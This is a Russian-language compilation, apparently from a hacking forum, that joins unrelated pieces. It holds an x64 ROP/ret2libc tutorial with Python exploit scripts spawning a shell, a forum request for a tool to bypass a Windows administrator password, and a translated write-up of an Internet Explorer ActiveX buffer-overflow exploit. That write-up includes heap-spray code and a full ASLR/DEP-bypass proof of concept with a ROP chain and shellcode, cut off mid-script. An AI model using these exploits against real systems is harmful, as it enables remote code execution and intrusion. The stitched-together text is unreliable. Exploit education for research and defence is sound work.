не позволяет использовать эксплоиты, которые просто передают управление на
шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-
oriented programming и ret2libc. Более подробно о них расскажу чуть
ниже.
Твой первый ROP или ret2libc
В классическом 32-битном случае ret2libc требует создания фейкового стека со
всеми необходимыми параметрами для вызова функции из libc. Например, можно
вызвать функцию system() и передать ей строку /bin/sh.
Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.
ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.
Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret. Комбинируя такие команды, мы можем добиться исполнения кода.
При помощи гаджетов мы можем:
Наш эксплоит будет сравнительно простым. Он будет вызывать system('/bin/sh'). Для этого нам необходимо узнать:
Для того чтобы найти адрес функции system(), воспользуемся отладчиком GDB — введем gdb rop. Затем запустим нашу программу:
Code:Copy to clipboard
gdb-peda$ start
Получим адрес функции system():
Code:Copy to clipboard
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>
Получим указатель на строку /bin/sh:
Code:Copy to clipboard
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')
Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359 в регистр rdi. Для этого воспользуемся radare2. Запускаем r2 rop и затем ищем нужный гаджет:
Code:Copy to clipboard
[0x00400400]> /R pop rdi
0x004005a3 5f pop rdi
0x004005a4 c3 ret
Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi. Сохрани его адрес.
Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:
Code:Copy to clipboard
gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"
Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:
Code:Copy to clipboard
gdb-peda$ r < pattern.txt
Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:
Code:Copy to clipboard
RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")
Регистр rip указывает на команду ret;, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.
Возьмем первые 6 байт (например), в моем случае это HA%dA%. Затем определим, по какому смещению находятся эти байты в нашем паттерне:
Code:Copy to clipboard
gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264
Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip.
А вот и эксплоит!
Теперь у тебя есть все, чтобы написать свой первый эксплоит:
Python:Copy to clipboard
from struct import *
buf = ''
buf += 'A'*264 # мусор
buf += pack('<Q', 0x004005a3) # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359) # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0) # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close
Данный код делает следующее:
Теперь разберемся, что происходит со стеком во время работы. Сначала мы попадаем на наш гаджет (потому что мы перезаписали адрес возврата). Затем первая команда гаджета (pop rdi) берет со стека значение указателя на /bin/sh и записывает его в регистр rdi. После этого выполняется вторая команда гаджета — ret, которая берет следующее значение со стека (адрес функции system()) и «прыгает» на него. В конце всего этого выполняется функция system(), входное значение которой передано в регистре rip.
Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:
Code:Copy to clipboard
$ (cat exploit.txt; cat) | ./rop
После чего появится мигающий курсор оболочки sh. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.
Связываем цепочки
Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так
называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов
в последовательном порядке. Так как каждый гаджет закачивается командой ret,
он будет брать адрес следующего гаджета со стека и передавать на него
управление.
Чтобы выполнить произвольный код и перейти к интерпретатору sh, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve():
Осталось найти гаджеты, которые выполнят указанные действия.
Адрес гаджета pop rdi; ret; мы уже получили, когда писали эксплоит aka ret2libc.
Теперь ищем гаджет, который сможет записать значение в регистр rsi. Опять открываем radare2 и вводим:
Code:Copy to clipboard
[0x00400400]> /R pop rsi
0x004005a1 5e pop rsi
0x004005a2 415f pop r15
0x004005a4 c3 ret
Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15. В противном случае команда pop r15 возьмет адрес следующего гаджета и сломает наш эксплоит.
Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:
Code:Copy to clipboard
$ ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.
Открываем библиотеку в radare2:
Code:Copy to clipboard
r2 /usr/lib/libc.so.6
И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax:
Code:Copy to clipboard
[0x000203b0]> /R pop rax
0x0011ec71 8903 mov dword [rbx], eax
0x0011ec73 58 pop rax
0x0011ec74 5a pop rdx
0x0011ec75 5b pop rbx
0x0011ec76 c3 ret
Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx, который хранит адрес envp при вызове функции execve(). Как мы уже сказали, мы запишем в него null, с регистром rbx делаем то же самое, что и с r15 на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.
Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:
Code:Copy to clipboard
>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'
И получаем 0x7ffff7b5ac73 — реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall:
Code:Copy to clipboard
[0x000203b0]> /R syscall
0x0010248e 0000 add byte [rax], al
0x00102490 48633f movsxd rdi, dword [rdi]
0x00102493 b803000000 mov eax, 3
0x00102498 0f05 syscall
0x0010249a c3 ret
Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498 — адрес гаджета syscall.
Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:
Code:Copy to clipboard
0x004005a3 указатель на гаджет `pop rdi; ret;`
0x7ffff7b9d359 указатель на строку '/bin/sh'
0x004005a1 указатель на гаджет `pop rsi; ret;`
0x0 null (значение `argv`)
0xffffdeadbeef случайное значение (чтобы отработал `pop r15;`)
0x7ffff7b5ac73 указатель на гаджет `pop rax; ret`
0x3b номер функции execve для syscall
0x0 null (значение `envp`)
0xffffffffabcd случайное значение (чтобы отработал `pop rbx;`)
0x7ffff7b3e498 syscall
Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:
Python:Copy to clipboard
from struct import *
buf = ''
buf += 'A'*264 # junk
buf += pack('<Q', 0x004005a3) # pop rdi
buf += pack('<Q', 0x7ffff7b9d359) # p to /bin/sh
buf += pack('<Q', 0x004005a1) # pop rsi
buf += pack('<Q', 0x0) # null argv
buf += pack('<Q', 0xffffdeadbeef) # junk
buf += pack('<Q', 0x7ffff7b5ac73) # pop rax
buf += pack('<Q', 0x3b) # execve number
buf += pack('<Q', 0x0) # null envp
buf += pack('<Q', 0xffffffffabcd) # trash
buf += pack('<Q', 0x7ffff7b3e498) # syscall
f = open("exploit.txt", "w")
f.write(buf)
f.close
Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:
Code:Copy to clipboard
(cat exploit.txt; cat) | ./rop
Теперь мы внутри sh. Если мы хотим получить полноценный шелл, можем сделать это при помощи python:
Code:Copy to clipboard
python -c 'import pty; pty.spawn("/bin/sh")'
После чего появится «красивый» шелл sh .
To be continued...
Недавно Intel представила предварительную спецификацию новой технологии защиты
от эксплоитов. Данная технология, которая называется Control-flow Enforcement
Technology (CET), представляет модель защиты от эксплоитов, которые так или
иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы
же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые
техники защиты обязательно появятся новые техники нападения, о которых мы
непременно тебе расскажем на страницах журнала.
WWW
Таблица вызовов syscall
Radare2 — фреймворк для реверс-инжиниринга
PEDA — Python Exploit Development Assistance for
GDB
Автор Simon Uvarov (с) Xakep.ru
Можете посоветовать альтернативу kon-boot, чтобы сбросить пароль администратора в windows. Ищу информацию уже 2 дня, но ничего толкового не нашел: либо пробный период, либо программа не рабочая. И прошу сразу скинуть ссылку на программу.
Эта статья посвящена information leaks (info-leaks, утечкам информации) в 32-разрядной версии Internet Explorer 10 в 64-разрядной версии Windows 7. Они используются для обхода full ASLR / DEP и удаленного выполнения кода. Хотя программное обеспечение, содержащее ошибку, возможно, и не столь популярно, но довольно приятно найти там ошибку.
Чтение этой статьи требует знакомства с [WinDbg](http://msdn.microsoft.com/en- us/windows/hardware/hh852365.aspx), [heap](https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial- part-11-heap-spraying-demystified/) [spray](https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray- on-firefox-and-ie10/) и [info-leaks](https://media.blackhat.com/bh- us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf).
Надеюсь, вам понравится.
Баг
Я обнаружил уязвимость в ActiveX Control с помощью довольно старого
инструмента
COMRaider.
Элемент управления ActiveX - это видеоплагин из X360
Software. Давайте
рассмотрим его в [IDA Free 5.0](https://www.hex-
rays.com/products/ida/support/download_freeware.shtml).
Уязвимость - это простое переполнение буфера в разделе данных модуля VideoPlayer.ocx при использовании открытого метода SetText плагина (sub_10002930). При передаче строки этому методу, код в .text: 1000298A и .text: 10002991 копирует нашу строку в переменную в разделе данных в .data: 100916A8 без обязательных проверок:
Уязвимый код, указанный в IDA
От переполнения буфера данных до записи по произвольному адресу
Хотя здесь нет указателей прямого управления потоком, как, например, в стеке,
возможно, другие указатели могут быть перезаписаны, чтобы добиться каких-либо
программных манипуляций и выполнения удаленного кода. Эксплуатация в Windows
XP может показаться простой из-за отсутствия ASLR, но что, если мы нацелились
на Internet Explorer в Windows 7 или 8? В конце концов я решил пойти этим
путем.
Чтобы обойти ASLR, нам нужна утечка информации, чтобы раскрыть интересные адреса, пригодные для дальнейших действий. После некоторого экспериментирования с вызовом метода SetText и последующим вызовом других методов плагина некоторые указатели привлекли мое внимание.
Например, содержимое по адресу .data: 10092068 можно контролировать с помощью переполнения буфера. Этот указатель используется в sub_10058BAA, который, в свою очередь, выполняется, когда отправляется открытый метод SetFontName плагина.
Когда мы вызываем SetFontName со строкой меньшего размера или равной 0x40, происходит следующее:
1. Уязвимая функция
Мы попали в функцию sub_10058DAB, которая извлекает длину строки и вызывает
sub_10058BAA с длиной 1-го аргумента:
Функция, вызываемая из SetFontName
2. Использование контролируемого контента
В функции sub_10058BAA адрес .data:10092068 нашего управляемого контента
перемещается в .text: 10058BC7 в ECX, и вызывается функция sub_1000F775.
Поскольку адрес передается через ECX в функцию, он, скорее всего, содержит
[этот указатель объекта](http://msdn.microsoft.com/en-
us/library/ek8tkfbw.aspx):
Получение контролируемого контента
В sub_1000F775 указатель объекта перемещается в ESI (.text: 1000F784). Четвертый объект DWORD объекта [ESI + 0xC] (который мы контролируем) сравнивается с 0, а когда он не равен 0, поток программы продолжается в .text: 1000F7CE. Затем четвертый DWORD перемещается в EAX, и функция завершается. Теперь мы контролируем возвращаемое значение, переданное в EAX:
Управление EAX
Мы возвращаемся в sub_10058BAA из sub_10058DAB, и мы управляем EAX. Таким образом, мы уже можем контролировать ГДЕ мы хотим записать значение, но не то, ЧТО мы хотим записать. Наше контролируемое значение используется как указатель, и по нему записываются значения 0x40, 0x1, 0x0 и длина строки. Кроме того, управляемое значение увеличивается на 0xC, а затем записывается в память, на которую указывает EBX:
Контролируем адрес для записи
Этого может быть достаточно, чтобы перезаписать длину BSTR строки JavaScript или поля длины массива для создания Info-Leak. Во время выполнения ESI содержит тот же адрес, что и EBX. Таким образом, мы также контролируем [ESI] и получаем контроль над аргументом destination для memcpy, когда возвращаемся в sub_10058DAB из sub_10058BAA.
3. Пишем что-нибудь
В sub_10058DAB длина строки в EDI помещается как 3-й аргумент, указатель
строки в EBX как 2-й, а наше управляемое значение в [ESI] в качестве первого
аргумента перед вызовом _memcpy:
Злоупотребление memcpy
Мы можем использовать следующее для злоупотребления вызовом _memcpy, произвольной записи и возврата без сбоев в контексте JavaScript. Сначала мы [распы](http://www.exploit-monday.com/2011/08/targeted-heap- spraying-0x0c0c0c0c-is.html) ляем [кучу](https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial- part-11-heap-spraying-demystified/), а затем записываем 0xcafebabe по адресу 0x1010102C с помощью SetText и SetFontName:
JavaScript:Copy to clipboard
<!DOCTYPE HTML>
<script>
// create VideoPlayer.ocx ActiveX Object
var obj = document.createElement("object");
obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// spray the heap with 512M to allocate memory around 0x10101020
data = "\u2222\u2222" // use 0x22222222 as filler
while (data.length < 0x80000){data += data}
div = document.createElement("div")
for (i=0; i<=0x400; i++){
div.setAttribute("attr"+i, data.substring(0, (0x80000 - 2 - 4 - 0x20) / 2))
}
alert("Check in WinDbg before write: dc 10101000 L14")
addr = "\x20\x10\x10\x10" // WHERE TO WRITE (0x10101020 + 0xC)
// prepare buffer with address we want to write to
ptrBuf = ""
// fill buffer: length = relative ptr address - buffer start + ptr offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
ptrBuf += addr
// overflow buffer and overwrite the pointer value after buffer
obj.SetText(ptrBuf,0,0)
// use overwritten pointer to conduct memory write of 4 bytes
obj.SetFontName("\xbe\xba\xfe\xca") // WHAT TO WRITE
alert("Check after write: dc 10101000 L14")
</script>
Код JavaScript для произвольной записи в память
Мы можем подключить WinDbg к работающему Internet Explorer и просмотреть модифицированную память, начиная с 0x10101020, которая была ранее заполнена 0x22222222:
Модифицированная память от 0x10101020 до 0x10101031 показана в WinDbg
Подготовка утечек: один массив для полного доступа
Поскольку мы можем произвольно модифицировать любую память (несмотря на
“побочные эффекты” и добавление NULL), мы можем
использовать
технологии,
чтобы сделать всю память доступной для чтения и записи из JavaScript.
(Типизированный) array heap spray
Вместо распыления кучи строками мы используем массивы. Мы создаем блоки памяти
размером 0x10000 байт, которые выравниваются по 0xXXXX0000. Первые 0xf000
байтов заполняются обычным [массивом](http://msdn.microsoft.com/en-
us/library/ie/k4h76zbx%28v=vs.94%29.aspx), после чего следуют заголовки
[типизированных массивов](http://msdn.microsoft.com/en-
us/library/ie/br212485%28v=vs.94%29.aspx) (объекты), которые заполняют
оставшуюся страницу. Поскольку каждый заголовок типизированного массива имеет
размер 0x30 байт, они выравниваются после данных общего массива в 0xXXXXF000,
0xXXXXF030, 0xXXXXF060 и так далее:
https://www.reverse4you.org/translate/Exploit/2018/1210/FWL6.png
Расположение заголовков типизированных массивов
Там есть замечательный инструмент для WinDbg, который называется mona. В последнее время появилась [возможность](https://www.corelan.be/index.php/2014/08/16/analyzing-heap- objects-with-mona-py/) более детально выгружать объекты. Мы можем видеть различные элементы заголовка типизированного массива.
Среди других полей каждый заголовок типизированного массива имеет:
Мы вводим
!py mona do -a 0x1111f000 -s 0x30
для дампа заголовка типизированного массива по адресу 0x1111F000:
Типизированный заголовок массива, показанный с помощью mona.py
Изменение заголовков типизированных массивов
Теперь мы запускаем уязвимость, так что мы перезаписываем указатель на массив
буферов с нужным значением. Мы выбираем значение 0x1111F030 и перезаписываем
указатель, находящийся в 0x1111F010. Таким образом, мы указываем на
последующий типизированный заголовок массива в 0x1111F030. Кроме того, мы
перезаписываем поле длины в заголовке типизированного массива одним из наших
значений «побочного эффекта» (0x00000040).
Найти модифицированный типизированный массив легко: мы перебираем все типизированные массивы и проверяем, не равны ли их первые элементы нулю. Когда мы попадаем в модифицированный массив, его первый элемент указывает на типизированный массив vtable. Затем мы используем модифицированный массив для изменения последующего заголовка типизированного массива: мы устанавливаем длину по адресу 0x1111F048 в 0x7fffffff и указатель массива буферов на начало памяти процесса, а именно 0x0. Мы можем это сделать с помощью записи элемента массива (arr[k][6] = 0x7fffffff и arr[k][7] = 0x0).
После всех манипуляций мы можем просмотреть заголовки типизированных массивов в WinDbg:
Измененные заголовки типизированных массивов
В этот момент у нас есть типизированный массив, который можно использовать из JavaScript, как и любой другой массив, но с возможностью чтения и записи по любому адресу памяти!
Доступ к произвольному адресу памяти
Поскольку у нас есть интерфейс readwrite для памяти, мы можем использовать его
через обращения к массивам для чтения и записи произвольной памяти.
Утечка памяти
Поэтому мы можем использовать код JavaScript, который запрашивает у вас
абсолютный адрес и возвращает контент по этому адресу. Если вы протестируете
его, обратите внимание на то, чтобы он отображал существующий(выделенный)
адрес, иначе вы получите сбой.
Мы знаем, что по адресу 0x1111F060 находится vtable . Поэтому давайте прочитаем этот адрес, указав значение 0x1111F060 в поле запроса:
Цикл и утечка
Должно появиться окно с сообщением о том, что полученное содержимое интерпретируется как DWORD:
Утечка vftable
Это согласуется с выводом WinDbg, который мы видели ранее.
Установка и утечка объектов
Поскольку размещение в куче предсказуемо, мы можем установить любой объект как
элемент массива и найти его адрес. Например, мы можем поместить объект ActiveX
в качестве первого элемента массива, находящегося дальше страницы с
управляемыми заголовками типизированных массивов. Поскольку массив выровнен по
0x11120000, мы знаем, что указатель объекта находится в 0x11120020 (20 байтов
заняты заголовком выделения и метаданными массива). Мы просто поставляем
0x11120020 / 4 в качестве индекса для нашего массива и получаем адрес объекта.
Вы можете протестировать его, раскомментируя строку # 102 в скрипте утечки и
передавая 0x11120020 в окно приглашения. Чтобы проверить это с помощью WinDbg,
введите dd 0x11120020.
Углубляемся в объекты
Когда мы читаем контент по указанному адресу и знаем, что содержимое является
указателем, мы можем снова использовать извлеченный контент в качестве индекса
в нашем массиве. Таким образом, мы можем впоследствии разметить поля объектов,
чтобы читать и переписывать их.
Выполнение кода
Наконец, пришло время запустить калькулятор. Есть
[PoC](https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-
DEP_ASLR_Bypass.html), который реализует выполнение кода и запускает calc.exe.
Просто короткое описание того, что происходит:
И вуаля! Мы обошли полностью ASLR и DEP и получили удаленное выполнение кода с переполнением буфера в разделе данных. Весело!
HTML:Copy to clipboard
<!DOCTYPE HTML>
<!--
###############################################################################
*
* Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass
* Author: Rh0
* Date: Jan 30 2015
* Affected Software: X360 VideoPlayer ActiveX Control 2.6 (VideoPlayer.ocx)
* Vulnerability: Buffer Overflow in Data Section
* Tested on: Internet Explorer 10 32-bit (Windows 7 64-bit in VirtualBox)
* Software Links:
http://www.x360soft.com/demo/videoplayersetup.exe
http://download.cnet.com/X360-Video-Player-ActiveX-Control/3000-2170_4-10581185.html
* Detailed writeup: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/
*
###############################################################################
* Information about VideoPlayer.ocx *
###################################
md5sum: f9f2d32ae0e4d7b5c19692d0753451fb
Class VideoPlayer
GUID: {4B3476C6-185A-4D19-BB09-718B565FA67B}
Number of Interfaces: 1
Default Interface: _DVideoPlayer
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
* NOTES *
#########
*) When passing an overlong string to the ActiveX object's "SetText" method, a
buffer overflow in the data section occurs. It allows overwriting a subsequent
pointer that can be used in a controlled memcpy when dispatching the object's
"SetFontName" method. With this arbitrary write, array structures can be
manipulated to gain access to complete process memory. Equipped with this
capability, necessary information can be leaked and manipulated to execute
arbitrary code remotely.
*) Comment in the alert messages to see some leaks ;)
*) This is PoC Code: If it does not work for you, clear IE's history and try
again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183
*) Inspired by:
"http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/"
"http://ifsec.blogspot.de/2013/11/exploiting-internet-explorer-11-64-bit.html"
"https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf"
"https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf"
"https://github.com/exp-sky/HitCon-2014-IE-11-0day-Windows-8.1-Exploit/blob/master/IE 11 0day & Windows 8.1 Exploit.pdf"
-->
<html>
<body>
<button onclick=run()>runme</button>
<script>
function run(){
/* VideoPlayer.ocx image has the rebase flag set =>
It's mapped to another base per process run */
/* create its vulnerable ActiveX object (as HTMLObjectElement) */
var obj = document.createElement("object");
obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
/* amount of arrays to create on the heap */
nrArrays = 0x1000
/* size of data in one array block: 0xefe0 bytes =>
subract array header (0x20) and space for typed array headers (0x1000)
from 0x10000 */
arrSize = (0x10000-0x20-0x1000)/4
/* heap array container will hold our heap sprayed data */
arr = new Array(nrArrays)
/* use one buffer for all typed arrays */
intArrBuf = new ArrayBuffer(4)
/* spray the heap with array data blocks and subsequent typed array headers
of type Uint32Array */
k = 0
while(k < nrArrays){
/* create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
aligned at 0xXXXX0020) */
arr[k] = new Array(arrSize);
/* fill remaining page (0x1000) after array data with headers of
"jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
typed array header has the size of 0x30. 0x10 bytes are left empty */
for(var i= 0; i<0x55; i++){
/* headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,.. */
arr[k][i] = new Uint32Array(intArrBuf, 0, 1);
}
/* tag the array's last element */
arr[k][arrSize - 1] = 0x12121212
k += 1;
}
/* perform controlled memwrite to 0x1111f010: typed array header is at
0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
0x00000001 0x00000004 0x00000040 0x1111f030 0x00
The first 3 dwords are sideeffects due to the code we abuse for the
controlled memcpy */
addr = 0x1111f010 // WHERE TO WRITE
/* prepare buffer with address we want to write to */
ptrBuf = ""
/* fill buffer: length = relative pointer address - buffer start + pointer
offset */
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
ptrBuf += dword2str(addr)
/* trigger: overflow buffer and overwrite the pointer value after buffer */
obj.SetText(ptrBuf,0,0)
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
/* use overwritten pointer after buffer with method "SetFontName" to conduct
memory write. We overwrite a typed array's header length to 0x40 and let
its buffer point to the next typed array header at 0x1111f030 (see above)
*/
obj.SetFontName(dword2str(addr+0x20)) // WHAT TO WRITE
/* find the corrupted Uint32Array (typed array) */
k = 0
arrCorrupt = 0
while(k < 0x1000-1){
for(var i = 0; i < 0x55-1; i++){
if(arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
//alert("0x" + arr[k][i][0].toString(16))
arrCorrupt = 1
break
}
}
if (arrCorrupt == 1) break
k++
}
if (!arrCorrupt){
alert("cannot find corrupted Uint32Array")
return -1
}
/* modify subsequent Uint32Array to be able to RW all process memory */
arr[k][i][6] = 0x7fffffff // next Uint32Array length
arr[k][i][7] = 0 // set buffer of next Uint32Array to start of process mem
/* our memory READWRITE interface :) */
mem = arr[k][i+1]
//alert(mem.length.toString(16))
if (mem.length != 0x7fffffff){
alert("Cannot change Uint32Array length")
return -2
}
/* now we could even repair the change we did with memcpy ... */
/* leak several pointers and calculate VideoPlayer.ocx base */
arr[k+1][0] = obj // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
arrayElemPtr = mem[(addr + 0x1010)/4] // leak array elem. @ 0x11120020 (obj)
objPtr = mem[arrayElemPtr/4 + 6] // deref array elem. + 0x18
heapPtrVideoplayer = mem[objPtr/4 + 25] // deref HTMLObjectElement + 0x64
/* deref heap pointer containing VideoPlayer.ocx pointer */
videoplayerPtr = mem[heapPtrVideoplayer/4]
base = videoplayerPtr - 0x6b3b0 // calculate base
/* check if we have the image of VideoPlayer.ocx
check for MZ9000 header and "Vide" string at offset 0x6a000 */
if (mem[base/4] != 0x905a4d ||
mem[(base+0x6a000)/4] != 0x65646956){
alert("Cannot find VideoPlayer.ocx base or its version is wrong")
return -3
}
//alert(base.toString(16))
/* get VirtualAlloc from imports of VideoPlayer.ocx */
virtualAlloc = mem[(base + 0x69174)/4]
/* memcpy is available inside VideoPlayer.ocx */
memcpy = base + 0x15070
//alert("0x" + virtualAlloc.toString(16) + " " + 0x" + memcpy.toString(16))
/* create shellcode (./msfvenom -p windows/exec cmd=calc) */
sc = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"+
"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"+
"\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"+
"\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"+
"\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"+
"\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"+
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"+
"\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"+
"\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"+
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"+
"\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"+
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"+
"\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"+
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"+
"\x00"
scBuf = new Uint8Array(sc.length)
for (n=0; n<sc.length; n++){
scBuf[n] = sc.charCodeAt(n)
}
/* leak shellcode address */
arr[k+1][0] = scBuf
/* therefore, leak array element at 0x11120020 (typed array header of
Uint8Array containing shellcode) ... */
elemPtr = mem[(addr + 0x1010)/4]
/* ...and deref array element + 0x1c (=> leak shellcode's buffer address) */
scAddr = mem[(elemPtr/4) + 7]
//alert(scAddr.toString(16))
/* create and leak rop buffer */
rop = new Uint32Array(0x1000)
arr[k+1][0] = rop
/* leak array element at 0x11120020 (typed array header) */
elemPtr = mem[(addr + 0x1010)/4]
/* deref array element + 0x1c (leak rop's buffer address) */
pAddr = mem[(elemPtr/4) + 7] // payload address
/* ROP chain (rets in comments are omitted) */
/* we perform:
(void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
memcpy(EAX, shellcode, shellcodeLen)
(void(*)())EAX() */
offs = 0x30/4 // offset to chain after CALL [EAX+0x30]
rop[0] = base + 0x1ff6 // ADD ESP, 0x30;
rop[offs + 0x0] = base + 0x1ea1e // XCHG EAX, ESP; <-- first gadget called
rop[offs + 0x1] = virtualAlloc // allocate RWX mem (address avail. in EAX)
rop[offs + 0x2] = base + 0x10e9 // POP ECX; => pop the value at offs + 0x7
rop[offs + 0x3] = 0 // lpAddress
rop[offs + 0x4] = 0x1000 // dwSize (0x1000)
rop[offs + 0x5] = 0x1000 // flAllocationType (MEM_COMMIT)
rop[offs + 0x6] = 0x40 // flProtect (PAGE_EXECUTE_READWRITE)
rop[offs + 0x7] = pAddr + (offs+0xe)*4 // points to memcpy's dst param (*2)
rop[offs + 0x8] = base + 0x1c743 // MOV [ECX], EAX; => set dst to RWX mem
rop[offs + 0x9] = base + 0x10e9 // POP ECX;
rop[offs + 0xa] = pAddr + (offs+0xd)*4 // points to (*1) in chain
rop[offs + 0xb] = base + 0x1c743 // MOV [ECX], EAX; => set return to RWX mem
rop[offs + 0xc] = memcpy
rop[offs + 0xd] = 0xffffffff // (*1): ret addr to RWX mem filled at runtime
rop[offs + 0xe] = 0xffffffff // (*2): dst for memcpy filled at runtime
rop[offs + 0xf] = scAddr // shellcode src addr to copy to RWX mem (param2)
rop[offs + 0x10] = sc.length // length of shellcode (param3)
/* manipulate object data to gain EIP control with "Play" method */
videopObj = mem[objPtr/4 + 26]
mem[(videopObj-0x10)/4] = pAddr // pAddr will be used in EAX in below call
